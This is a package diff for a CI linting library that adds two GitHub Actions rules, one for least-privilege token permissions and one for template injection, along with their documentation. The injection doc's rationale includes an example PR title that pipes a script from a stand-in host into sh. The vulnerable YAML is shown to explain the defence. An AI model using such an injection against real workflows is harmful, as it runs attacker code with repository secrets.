+ declare function createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule;
133
+
134
+ /** Options for {@link createGithubActionsNoTemplateInjectionRule}. */
135
+ interface GithubActionsNoTemplateInjectionOptions {
136
+ /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
137
+ readonly workflowGlobs?: readonly string[];
138
+ /** Globs that find composite action metadata. Default `action.yml` / `action.yaml` at any depth. */
139
+ readonly actionGlobs?: readonly string[];
140
+ /** An action path with any of these segments is skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
141
+ readonly skipDirs?: readonly string[];
142
+ /**
143
+ * Treat `inputs.<name>` (and `github.event.inputs.<name>`) as attacker-controlled. An input the
144
+ * same file declares with `type: boolean`, `number` or `choice` is still left alone: its value
145
+ * cannot carry a script. Default `true`.
146
+ */
147
+ readonly checkInputs?: boolean;
148
+ /**
149
+ * Treat `steps.<id>.outputs.<name>` as attacker-controlled. An output is only as tainted as
150
+ * whatever the step wrote into it, which the text cannot show. Default `false`.
151
+ */
152
+ readonly checkStepOutputs?: boolean;
153
+ /** Whether a violation fails CI. Default `true`. */
154
+ readonly ciCritical?: boolean;
155
+ }
156
+ /** No attacker-controllable `${{ }}` expression may be expanded into a `run:` or github-script body. */
157
+ declare function createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule;
158
+
119
159
  /**
120
160
  * Options for {@link createGithubActionsRunnerPinnedRule}.
121
161
  *
@@ -499,6 +539,8 @@ declare const RULE_FACTORIES: {
499
539
  readonly 'canonical-helpers-single-home': typeof createCanonicalHelpersSingleHomeRule;
500
540
  readonly 'dockerfile-base-image-digest-pin': typeof createDockerfileBaseImageDigestPinRule;
501
541
  readonly 'file-size-ratchet': typeof createFileSizeRatchetRule;
542
+ readonly 'github-actions-least-privilege-permissions': typeof createGithubActionsLeastPrivilegePermissionsRule;
543
+ readonly 'github-actions-no-template-injection': typeof createGithubActionsNoTemplateInjectionRule;
502
544
  readonly 'github-actions-runner-pinned': typeof createGithubActionsRunnerPinnedRule;
503
545
  readonly 'github-actions-sha-pinned': typeof createGithubActionsShaPinnedRule;
504
546
  readonly 'layer-rank': typeof createLayerRankRule;
@@ -518,4 +560,4 @@ declare const RULE_IDS: (keyof typeof RULE_FACTORIES)[];
518
560
  /** Instantiate every catalog rule with its default options. */
519
561
  declare function createAllRules(): IMetaRule[];
520
562
 
521
- export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
563
+ export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsLeastPrivilegePermissionsOptions, type GithubActionsNoTemplateInjectionOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsLeastPrivilegePermissionsRule, createGithubActionsNoTemplateInjectionRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
package/dist/index.js CHANGED
@@ -244,8 +244,293 @@ function createFileSizeRatchetRule(options = {}) {
244
244
  };
245
245
  }
246
246
 
247
+ // src/rules/github-actions-least-privilege-permissions.ts
248
+ var RULE_ID2 = "github-actions-least-privilege-permissions";
249
+ var TOP_KEY = /^([\w-]+):\s*(.*)$/u;
250
+ var SCOPE_ENTRY = /^\s*['"]?([\w-]+)['"]?:\s*['"]?([\w-]+)['"]?\s*$/u;
251
+ function indentOf(line) {
252
+ return /^\s*/u.exec(line)?.[0].length ?? 0;
253
+ }
254
+ function isContent(line) {
255
+ const trimmed = line.trim();
256
+ return trimmed !== "" && !trimmed.startsWith("#");
257
+ }
258
+ function topLevelKeys(lines) {
259
+ const keys = [];
260
+ lines.forEach((line, index) => {
261
+ const match = TOP_KEY.exec(line);
262
+ if (match === null) return;
263
+ keys.push({ key: unquote(match[1] ?? ""), value: stripYamlComment(match[2] ?? "").trim(), index });
264
+ });
265
+ return keys;
266
+ }
267
+ function blockOf(lines, index) {
268
+ const block = [];
269
+ for (let j = index + 1; j < lines.length; j += 1) {
270
+ const line = lines[j] ?? "";
271
+ if (!isContent(line)) continue;
272
+ if (indentOf(line) === 0) break;
273
+ block.push({ text: stripYamlComment(line), index: j });
274
+ }
275
+ return block;
276
+ }
277
+ function scopeEntries(lines, permissions) {
278
+ if (permissions.value.startsWith("{")) {
279
+ return permissions.value.replace(/^\{|\}$/gu, "").split(",").map((pair) => SCOPE_ENTRY.exec(pair)).filter((match) => match !== null).map((match) => ({ scope: match[1] ?? "", level: match[2] ?? "", line: permissions.index + 1 }));
280
+ }
281
+ return blockOf(lines, permissions.index).flatMap(({ text, index }) => {
282
+ const match = SCOPE_ENTRY.exec(text);
283
+ return match === null ? [] : [{ scope: match[1] ?? "", level: match[2] ?? "", line: index + 1 }];
284
+ });
285
+ }
286
+ function jobsWithoutPermissions(lines, jobs) {
287
+ const block = blockOf(lines, jobs.index);
288
+ const jobColumn = indentOf(block[0]?.text ?? "");
289
+ const missing = [];
290
+ let current;
291
+ let keyColumn = -1;
292
+ const settle = () => {
293
+ if (current !== void 0 && !current.hasPermissions) missing.push(current.name);
294
+ };
295
+ for (const { text } of block) {
296
+ const column = indentOf(text);
297
+ if (column === jobColumn) {
298
+ settle();
299
+ current = { name: unquote(text.trim().replace(/:.*$/u, "")), hasPermissions: false };
300
+ keyColumn = -1;
301
+ continue;
302
+ }
303
+ if (current === void 0 || column < jobColumn) continue;
304
+ if (keyColumn === -1) keyColumn = column;
305
+ if (column === keyColumn && /^\s*permissions:/u.test(text)) current.hasPermissions = true;
306
+ }
307
+ settle();
308
+ return missing;
309
+ }
310
+ function checkWorkflowPermissions(file, text, allowTopLevelWrite = []) {
311
+ const lines = text.split("\n");
312
+ const keys = topLevelKeys(lines);
313
+ const permissions = keys.find((entry) => entry.key === "permissions");
314
+ const report = (line, message) => ({
315
+ file,
316
+ rule: RULE_ID2,
317
+ message: `line ${line}: ${message}`,
318
+ line
319
+ });
320
+ if (permissions === void 0) {
321
+ const jobs = keys.find((entry) => entry.key === "jobs");
322
+ const missing = jobs === void 0 ? [] : jobsWithoutPermissions(lines, jobs);
323
+ if (missing.length === 0) return [];
324
+ return [
325
+ report(
326
+ 1,
327
+ `no top-level \`permissions:\`, so ${missing.map((job) => `\`${job}\``).join(", ")} ${missing.length === 1 ? "runs" : "run"} with the repository's default token, which can be read-write. Add \`permissions: { contents: read }\` at the top and grant writes on the job that needs them.`
328
+ )
329
+ ];
330
+ }
331
+ const shorthand = unquote(permissions.value);
332
+ if (shorthand === "write-all" || shorthand === "read-all") {
333
+ return [
334
+ report(
335
+ permissions.index + 1,
336
+ `top-level \`permissions: ${shorthand}\` grants every scope to every job. List only the scopes the workflow reads (for example \`contents: read\`) and grant writes on the job that needs them.`
337
+ )
338
+ ];
339
+ }
340
+ const allowed = new Set(allowTopLevelWrite);
341
+ return scopeEntries(lines, permissions).filter(({ scope, level }) => level === "write" && !allowed.has(scope)).map(
342
+ ({ scope, line }) => report(
343
+ line,
344
+ `top-level \`permissions\` grants \`${scope}: write\` to every job. Move it to the job that needs it and keep the top level read-only.`
345
+ )
346
+ );
347
+ }
348
+ function createGithubActionsLeastPrivilegePermissionsRule(options = {}) {
349
+ const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
350
+ const allowTopLevelWrite = options.allowTopLevelWrite ?? [];
351
+ const ciCritical = options.ciCritical ?? true;
352
+ return {
353
+ id: RULE_ID2,
354
+ category: "ci",
355
+ ciCritical,
356
+ description: "GitHub Actions workflows declare a read-only top-level `permissions:` (no `write-all`/`read-all`, no `<scope>: write`); writes go on the job that needs them.",
357
+ run(ctx) {
358
+ return globFiles((p) => ctx.glob(p), workflowGlobs).flatMap(
359
+ (file) => checkWorkflowPermissions(file, ctx.read(file) ?? "", allowTopLevelWrite)
360
+ );
361
+ }
362
+ };
363
+ }
364
+
365
+ // src/rules/github-actions-no-template-injection.ts
366
+ var RULE_ID3 = "github-actions-no-template-injection";
367
+ var DEFAULT_ACTION_GLOBS = anywhereGlobs(["action.yml", "action.yaml"]);
368
+ var EVENT = String.raw`(?<![\w.])github\.event\.`;
369
+ var ANY_ITEM = String.raw`(?:\.\*|\[\d+\])`;
370
+ var TAINTED_CONTEXTS = [
371
+ new RegExp(String.raw`${EVENT}(?:issue|pull_request|discussion)\.(?:title|body)\b`, "u"),
372
+ new RegExp(String.raw`${EVENT}pull_request\.head\.(?:ref|label)\b`, "u"),
373
+ new RegExp(String.raw`${EVENT}(?:comment|review|review_comment)\.body\b`, "u"),
374
+ new RegExp(String.raw`${EVENT}pages${ANY_ITEM}\.page_name\b`, "u"),
375
+ new RegExp(String.raw`${EVENT}commits${ANY_ITEM}\.(?:message|author|committer)\b`, "u"),
376
+ new RegExp(String.raw`${EVENT}head_commit\.(?:message|author|committer)\b`, "u"),
377
+ new RegExp(String.raw`${EVENT}workflow_run\.head_branch\b`, "u"),
378
+ new RegExp(String.raw`${EVENT}workflow_run\.head_commit\.(?:message|author|committer)\b`, "u"),
379
+ /(?<![\w.])github\.head_ref\b/u
380
+ ];
381
+ var INPUT_CONTEXT = /(?<![\w.])(?:github\.event\.)?inputs\.([\w-]+)/gu;
382
+ var STEP_OUTPUT_CONTEXT = /(?<![\w.])steps\.[\w-]+\.outputs\.[\w-]+/u;
383
+ var SAFE_INPUT_TYPES = /* @__PURE__ */ new Set(["boolean", "number", "choice"]);
384
+ var EXPRESSION = /\$\{\{(.*?)\}\}/gu;
385
+ var SCRIPT_KEY = /^(\s*)(-\s+)?(run|script):(?:\s+(.*))?$/u;
386
+ var BLOCK_INDICATOR = /^[|>][-+0-9]*\s*(?:#.*)?$/u;
387
+ var MAPPING_LINE = /^\s*[\w-]+:(?:\s|$)/u;
388
+ var GITHUB_SCRIPT_USES = /^\s*(?:-\s+)?uses:\s*['"]?actions\/github-script@/u;
389
+ function indentOf2(line) {
390
+ return /^\s*/u.exec(line)?.[0].length ?? 0;
391
+ }
392
+ function isContent2(line) {
393
+ const trimmed = line.trim();
394
+ return trimmed !== "" && !trimmed.startsWith("#");
395
+ }
396
+ function parentOf(lines, index, column) {
397
+ for (let j = index - 1; j >= 0; j -= 1) {
398
+ const line = lines[j] ?? "";
399
+ if (isContent2(line) && indentOf2(line) < column) return j;
400
+ }
401
+ return -1;
402
+ }
403
+ function isGithubScriptStep(lines, withIndex) {
404
+ const stepStart = parentOf(lines, withIndex, indentOf2(lines[withIndex] ?? ""));
405
+ const stepLine = lines[stepStart] ?? "";
406
+ if (!stepLine.trimStart().startsWith("-")) return false;
407
+ const dashColumn = indentOf2(stepLine);
408
+ for (let j = stepStart; j < lines.length; j += 1) {
409
+ const line = lines[j] ?? "";
410
+ if (j > stepStart && isContent2(line) && indentOf2(line) <= dashColumn) break;
411
+ if (GITHUB_SCRIPT_USES.test(line)) return true;
412
+ }
413
+ return false;
414
+ }
415
+ function safeInputNames(lines) {
416
+ const safe = /* @__PURE__ */ new Set();
417
+ lines.forEach((line, index) => {
418
+ if (!/^\s*inputs:\s*(?:#.*)?$/u.test(line)) return;
419
+ const column = indentOf2(line);
420
+ let nameColumn = -1;
421
+ let name = "";
422
+ for (const child of lines.slice(index + 1)) {
423
+ if (!isContent2(child)) continue;
424
+ const childColumn = indentOf2(child);
425
+ if (childColumn <= column) break;
426
+ if (nameColumn === -1) nameColumn = childColumn;
427
+ if (childColumn === nameColumn) {
428
+ name = /^\s*['"]?([\w-]+)['"]?:/u.exec(child)?.[1] ?? "";
429
+ continue;
430
+ }
431
+ const type = /^\s*type:\s*['"]?(\w+)/u.exec(stripYamlComment(child))?.[1];
432
+ if (type !== void 0 && SAFE_INPUT_TYPES.has(type) && name !== "") safe.add(name);
433
+ }
434
+ });
435
+ return safe;
436
+ }
437
+ function scriptLines(lines, index, keyColumn) {
438
+ const inline = SCRIPT_KEY.exec(lines[index] ?? "")?.[4] ?? "";
439
+ const block = BLOCK_INDICATOR.test(inline.trim());
440
+ const quoted = /^['"]/u.test(inline.trim());
441
+ const keep = (text) => block || quoted ? text : stripYamlComment(text);
442
+ const collected = block ? [] : [{ line: index + 1, text: keep(inline) }];
443
+ for (let j = index + 1; j < lines.length; j += 1) {
444
+ const line = lines[j] ?? "";
445
+ if (line.trim() !== "" && indentOf2(line) <= keyColumn) break;
446
+ collected.push({ line: j + 1, text: keep(line) });
447
+ }
448
+ const first = collected.find((entry) => entry.text.trim() !== "");
449
+ if (inline.trim() === "" && first !== void 0 && MAPPING_LINE.test(first.text)) return [];
450
+ return collected;
451
+ }
452
+ function taintedContexts(expression, checkInputs, checkStepOutputs, safeInputs) {
453
+ const found = [];
454
+ for (const pattern of TAINTED_CONTEXTS) {
455
+ const match = pattern.exec(expression);
456
+ if (match !== null) found.push(match[0]);
457
+ }
458
+ if (checkInputs) {
459
+ for (const match of expression.matchAll(INPUT_CONTEXT)) {
460
+ if (!safeInputs.has(match[1] ?? "")) found.push(match[0]);
461
+ }
462
+ }
463
+ if (checkStepOutputs) {
464
+ const match = STEP_OUTPUT_CONTEXT.exec(expression);
465
+ if (match !== null) found.push(match[0]);
466
+ }
467
+ return found;
468
+ }
469
+ function checkWorkflowTemplateInjection(file, text, options = {}) {
470
+ const checkInputs = options.checkInputs ?? true;
471
+ const checkStepOutputs = options.checkStepOutputs ?? false;
472
+ const lines = text.split("\n");
473
+ const safeInputs = checkInputs ? safeInputNames(lines) : /* @__PURE__ */ new Set();
474
+ const violations = [];
475
+ let skipThrough = -1;
476
+ lines.forEach((line, index) => {
477
+ const match = index > skipThrough ? SCRIPT_KEY.exec(line) : null;
478
+ if (match === null) return;
479
+ const keyColumn = (match[1]?.length ?? 0) + (match[2]?.length ?? 0);
480
+ const key = match[3] ?? "run";
481
+ if (key === "script") {
482
+ const parent = parentOf(lines, index, keyColumn);
483
+ if (!/^\s*with:\s*(?:#.*)?$/u.test(lines[parent] ?? "")) return;
484
+ if (!isGithubScriptStep(lines, parent)) return;
485
+ }
486
+ const where = key === "run" ? "`run:` script" : "`actions/github-script` `script:`";
487
+ const script = scriptLines(lines, index, keyColumn);
488
+ skipThrough = (script[script.length - 1]?.line ?? index + 1) - 1;
489
+ for (const entry of script) {
490
+ for (const expression of entry.text.matchAll(EXPRESSION)) {
491
+ const contexts = taintedContexts(
492
+ expression[1] ?? "",
493
+ checkInputs,
494
+ checkStepOutputs,
495
+ safeInputs
496
+ );
497
+ if (contexts.length === 0) continue;
498
+ violations.push({
499
+ file,
500
+ rule: RULE_ID3,
501
+ message: `line ${entry.line}: \`${expression[0]}\` expands attacker-controllable \`${contexts.join("`, `")}\` into a ${where}, where it runs as code. Pass it through \`env:\` (for example \`VALUE: ${expression[0]}\`) and read \`"$VALUE"\` instead.`,
502
+ line: entry.line
503
+ });
504
+ }
505
+ }
506
+ });
507
+ return violations;
508
+ }
509
+ function createGithubActionsNoTemplateInjectionRule(options = {}) {
510
+ const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
511
+ const actionGlobs = options.actionGlobs ?? DEFAULT_ACTION_GLOBS;
512
+ const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
513
+ const ciCritical = options.ciCritical ?? true;
514
+ return {
515
+ id: RULE_ID3,
516
+ category: "ci",
517
+ ciCritical,
518
+ description: "GitHub Actions `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names); pass it through `env:` instead.",
519
+ run(ctx) {
520
+ const files = globFiles(
521
+ (p) => ctx.glob(p),
522
+ [...workflowGlobs, ...actionGlobs],
523
+ skipDirs
524
+ );
525
+ return files.flatMap(
526
+ (file) => checkWorkflowTemplateInjection(file, ctx.read(file) ?? "", options)
527
+ );
528
+ }
529
+ };
530
+ }
531
+
247
532
  // src/rules/github-actions-runner-pinned.ts
248
- var RULE_ID2 = "github-actions-runner-pinned";
533
+ var RULE_ID4 = "github-actions-runner-pinned";
249
534
  var RUNS_ON = /^(\s*)runs-on:\s*(.*)$/u;
250
535
  var DEFAULT_FLOATING_LABEL = /^[\w.-]+-latest$/u;
251
536
  function runnerLabels(lines, start, indent) {
@@ -277,7 +562,7 @@ function checkWorkflowRunnersPinned(file, text, floatingLabel = DEFAULT_FLOATING
277
562
  if (floatingLabel.test(label)) {
278
563
  violations.push({
279
564
  file,
280
- rule: RULE_ID2,
565
+ rule: RULE_ID4,
281
566
  message: `line ${index + 1}: \`runs-on\` uses the floating runner label "${label}". Pin a named image (for example \`ubuntu-24.04\`) so a runner image change is a reviewed diff.`,
282
567
  line: index + 1
283
568
  });
@@ -291,7 +576,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
291
576
  const floatingLabel = options.floatingLabel ?? DEFAULT_FLOATING_LABEL;
292
577
  const ciCritical = options.ciCritical ?? true;
293
578
  return {
294
- id: RULE_ID2,
579
+ id: RULE_ID4,
295
580
  category: "ci",
296
581
  ciCritical,
297
582
  description: "GitHub Actions jobs must run on a pinned runner image (for example ubuntu-24.04), never a *-latest label.",
@@ -304,7 +589,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
304
589
  }
305
590
 
306
591
  // src/rules/github-actions-sha-pinned.ts
307
- var RULE_ID3 = "github-actions-sha-pinned";
592
+ var RULE_ID5 = "github-actions-sha-pinned";
308
593
  var USES_LINE = /^\s*(?:-\s+)?uses:\s*['"]?([^\s'"#]+)['"]?\s*(#.*)?$/u;
309
594
  var FULL_SHA = /^[0-9a-f]{40}$/u;
310
595
  var DOCKER_DIGEST = /@sha256:[0-9a-f]{64}$/u;
@@ -319,7 +604,7 @@ function checkWorkflowActionsPinned(file, text) {
319
604
  }
320
605
  const where = `line ${index + 1}`;
321
606
  const report = (message) => {
322
- violations.push({ file, rule: RULE_ID3, message, line: index + 1 });
607
+ violations.push({ file, rule: RULE_ID5, message, line: index + 1 });
323
608
  };
324
609
  if (ref.startsWith("docker://")) {
325
610
  if (!DOCKER_DIGEST.test(ref)) {
@@ -347,7 +632,7 @@ function createGithubActionsShaPinnedRule(options = {}) {
347
632
  const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
348
633
  const ciCritical = options.ciCritical ?? true;
349
634
  return {
350
- id: RULE_ID3,
635
+ id: RULE_ID5,
351
636
  category: "ci",
352
637
  ciCritical,
353
638
  description: "GitHub Actions `uses:` refs must be pinned to a 40-character commit SHA with a `# vN` comment (local ./ actions exempt).",
@@ -572,7 +857,7 @@ function createPackageShapeRule(options = {}) {
572
857
  }
573
858
 
574
859
  // src/rules/security-scanner-version-parity.ts
575
- var RULE_ID4 = "security-scanner-version-parity";
860
+ var RULE_ID6 = "security-scanner-version-parity";
576
861
  function createSecurityScannerVersionParityRule(options = {}) {
577
862
  const scanner = options.scanner ?? "gitleaks";
578
863
  const versionVariable = options.versionVariable ?? "GITLEAKS_VERSION";
@@ -597,7 +882,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
597
882
  const runtimeCheck = new RegExp(`\\b${name}\\s+version\\b`, "u");
598
883
  const mentionsScanner = new RegExp(name, "iu");
599
884
  return {
600
- id: RULE_ID4,
885
+ id: RULE_ID6,
601
886
  category: "ci",
602
887
  ciCritical,
603
888
  description: `The ${scanner} version pinned in the workflows must equal the one in ${hookFile}, and the hook must compare a native ${scanner} against it at run time.`,
@@ -616,7 +901,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
616
901
  }
617
902
  const violations = [];
618
903
  const report = (file, message) => {
619
- violations.push({ file, rule: RULE_ID4, message });
904
+ violations.push({ file, rule: RULE_ID6, message });
620
905
  };
621
906
  if (ciVersions.size > 1) {
622
907
  report(
@@ -669,7 +954,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
669
954
  }
670
955
 
671
956
  // src/rules/service-image-digest-pin.ts
672
- var RULE_ID5 = "service-image-digest-pin";
957
+ var RULE_ID7 = "service-image-digest-pin";
673
958
  var DIGEST2 = /@sha256:[0-9a-f]{64}$/u;
674
959
  var KEY_LINE = /^(\s*)(?:-\s+)?([\w-]+):\s*(.*)$/u;
675
960
  var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
@@ -677,7 +962,7 @@ var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
677
962
  (stem) => ["", ".*", "-*"].flatMap((infix) => ["yml", "yaml"].map((ext) => `${stem}${infix}.${ext}`))
678
963
  )
679
964
  );
680
- function indentOf(line) {
965
+ function indentOf3(line) {
681
966
  return /^\s*/u.exec(line)?.[0].length ?? 0;
682
967
  }
683
968
  function workflowImages(text) {
@@ -729,7 +1014,7 @@ function composeImages(text) {
729
1014
  if (line.trim() === "" || line.trimStart().startsWith("#")) {
730
1015
  continue;
731
1016
  }
732
- const indent = indentOf(line);
1017
+ const indent = indentOf3(line);
733
1018
  if (indent === 0) {
734
1019
  break;
735
1020
  }
@@ -763,7 +1048,7 @@ function violationsFor(file, images, allowUnpinned) {
763
1048
  const reference = image.split("@")[0];
764
1049
  return {
765
1050
  file,
766
- rule: RULE_ID5,
1051
+ rule: RULE_ID7,
767
1052
  message: `line ${line}: image "${image}" is not pinned by digest. Write \`${reference}@sha256:<digest>\` (resolve it with \`docker buildx imagetools inspect ${reference}\`) so CI and local runs use the same bytes.`,
768
1053
  line
769
1054
  };
@@ -776,7 +1061,7 @@ function createServiceImageDigestPinRule(options = {}) {
776
1061
  const allowUnpinned = new Set(options.allowUnpinned ?? []);
777
1062
  const ciCritical = options.ciCritical ?? true;
778
1063
  return {
779
- id: RULE_ID5,
1064
+ id: RULE_ID7,
780
1065
  category: "ci",
781
1066
  ciCritical,
782
1067
  description: "Workflow service and container images, and docker-compose images, must be pinned by `@sha256:` digest (a service that builds locally is exempt).",
@@ -1061,6 +1346,8 @@ var RULE_FACTORIES = {
1061
1346
  "canonical-helpers-single-home": createCanonicalHelpersSingleHomeRule,
1062
1347
  "dockerfile-base-image-digest-pin": createDockerfileBaseImageDigestPinRule,
1063
1348
  "file-size-ratchet": createFileSizeRatchetRule,
1349
+ "github-actions-least-privilege-permissions": createGithubActionsLeastPrivilegePermissionsRule,
1350
+ "github-actions-no-template-injection": createGithubActionsNoTemplateInjectionRule,
1064
1351
  "github-actions-runner-pinned": createGithubActionsRunnerPinnedRule,
1065
1352
  "github-actions-sha-pinned": createGithubActionsShaPinnedRule,
1066
1353
  "layer-rank": createLayerRankRule,
@@ -1088,6 +1375,8 @@ export {
1088
1375
  createCanonicalHelpersSingleHomeRule,
1089
1376
  createDockerfileBaseImageDigestPinRule,
1090
1377
  createFileSizeRatchetRule,
1378
+ createGithubActionsLeastPrivilegePermissionsRule,
1379
+ createGithubActionsNoTemplateInjectionRule,
1091
1380
  createGithubActionsRunnerPinnedRule,
1092
1381
  createGithubActionsShaPinnedRule,
1093
1382
  createLayerRankRule,
@@ -0,0 +1,71 @@
1
+ # `github-actions-least-privilege-permissions`
2
+
3
+ > A workflow's top-level `permissions:` exists, is not `write-all` / `read-all`, and grants no write.
4
+
5
+ ## Why
6
+
7
+ The top-level `permissions:` is the `GITHUB_TOKEN` every job gets unless the job says otherwise. A
8
+ write there hands every job, and every third-party action any job runs, the power to push commits,
9
+ cut releases or edit issues. Leaving the block out is worse: the token then falls back to the
10
+ repository's default, which is read-write on many repositories and organisations. A compromised
11
+ action or an injected script can only do what the token allows, so the smallest token is the
12
+ cheapest containment there is.
13
+
14
+ Keep the top level read-only and grant each write on the job that needs it.
15
+
16
+ ## What it flags
17
+
18
+ - A workflow with no top-level `permissions:`, naming each job that has no job-level
19
+ `permissions:` either and so runs on the default token. Reported on line 1.
20
+ - `permissions: write-all` and `permissions: read-all` at the top level: every scope, including
21
+ ones the workflow never uses.
22
+ - Every `<scope>: write` in the top-level block (block or flow mapping), one violation per scope, on
23
+ its own line, unless the scope is in `allowTopLevelWrite`.
24
+
25
+ ```yaml
26
+ # Bad
27
+ permissions: write-all
28
+
29
+ permissions:
30
+ contents: write
31
+ id-token: write
32
+
33
+ # Good
34
+ permissions:
35
+ contents: read
36
+ jobs:
37
+ release:
38
+ permissions:
39
+ contents: write
40
+ id-token: write
41
+ ```
42
+
43
+ ## What it leaves alone
44
+
45
+ - A workflow with no top-level block when every job declares its own `permissions:`: the default
46
+ token then reaches no job.
47
+ - `permissions: {}`, and any scope at `read` or `none`.
48
+ - Writes on a job, a `permissions:` input under a step's `with:`, and a commented-out line.
49
+
50
+ ## Factory
51
+
52
+ ```ts
53
+ createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule
54
+ ```
55
+
56
+ | Option | Type | Default | Meaning |
57
+ | --- | --- | --- | --- |
58
+ | `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
59
+ | `allowTopLevelWrite` | `string[]` | `[]` | Scopes allowed at `write` in the top-level block, for a repo that accepts, say, `contents: write` on a single-job release workflow. |
60
+ | `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
61
+
62
+ ## Limits
63
+
64
+ Line-based text, not a YAML parse. It checks the top level only; a job that grants itself more than
65
+ it uses is not judged. A reusable workflow (`on: workflow_call`) is held to the same bar, although
66
+ its token can never exceed its caller's.
67
+
68
+ Prior art: zizmor's [`excessive-permissions`](https://docs.zizmor.sh/audits/#excessive-permissions)
69
+ audit and the OpenSSF Scorecard
70
+ [Token-Permissions](https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions)
71
+ check.
@@ -0,0 +1,93 @@
1
+ # `github-actions-no-template-injection`
2
+
3
+ > `run:` scripts and `actions/github-script` bodies never expand attacker-controllable `${{ }}` context.
4
+
5
+ ## Why
6
+
7
+ GitHub substitutes `${{ }}` into a `run:` script before the shell sees it. A PR titled
8
+ `"; curl https://evil.example/x.sh | sh #` turns `echo "${{ github.event.pull_request.title }}"`
9
+ into a command that runs with the job's `GITHUB_TOKEN` and secrets. On `pull_request_target`,
10
+ `issue_comment` or `workflow_run` that token often has write access, and anyone who can open an
11
+ issue can supply the text. The same holds for the `script:` of `actions/github-script`, which is
12
+ JavaScript built from the substituted text.
13
+
14
+ The fix is to pass the value through `env:` and read it as a variable. An environment variable is
15
+ data; the shell never parses its contents as script.
16
+
17
+ ## What it flags
18
+
19
+ A `${{ }}` expression inside a `run:` value (inline, a `|` / `>` block, or a multi-line plain
20
+ scalar) or inside the `script:` input of an `actions/github-script` step, when it names one of:
21
+
22
+ - `github.event.issue.title` / `.body`, `github.event.pull_request.title` / `.body`,
23
+ `github.event.discussion.title` / `.body`
24
+ - `github.event.pull_request.head.ref` / `.head.label`, `github.head_ref`,
25
+ `github.event.workflow_run.head_branch`
26
+ - `github.event.comment.body`, `github.event.review.body`, `github.event.review_comment.body`
27
+ - `github.event.pages.*.page_name`
28
+ - `github.event.commits.*.message` / `.author` / `.committer`, the same under
29
+ `github.event.head_commit` and `github.event.workflow_run.head_commit`
30
+ - `inputs.<name>` and `github.event.inputs.<name>` (option `checkInputs`, on by default), except an
31
+ input the same file declares as `type: boolean`, `number` or `choice`
32
+ - `steps.<id>.outputs.<name>` (option `checkStepOutputs`, off by default)
33
+
34
+ Workflow files and composite actions (`action.yml` / `action.yaml` at any depth) are scanned. A
35
+ shell comment inside a block is still read: GitHub expands expressions there too. Each violation
36
+ carries the 1-indexed line.
37
+
38
+ ```yaml
39
+ # Bad
40
+ - run: echo "${{ github.event.pull_request.title }}"
41
+ - uses: actions/github-script@<sha> # v7
42
+ with:
43
+ script: console.log(`${{ github.event.issue.body }}`)
44
+
45
+ # Good
46
+ - env:
47
+ TITLE: ${{ github.event.pull_request.title }}
48
+ run: echo "$TITLE"
49
+ - uses: actions/github-script@<sha> # v7
50
+ env:
51
+ BODY: ${{ github.event.issue.body }}
52
+ with:
53
+ script: console.log(process.env.BODY)
54
+ ```
55
+
56
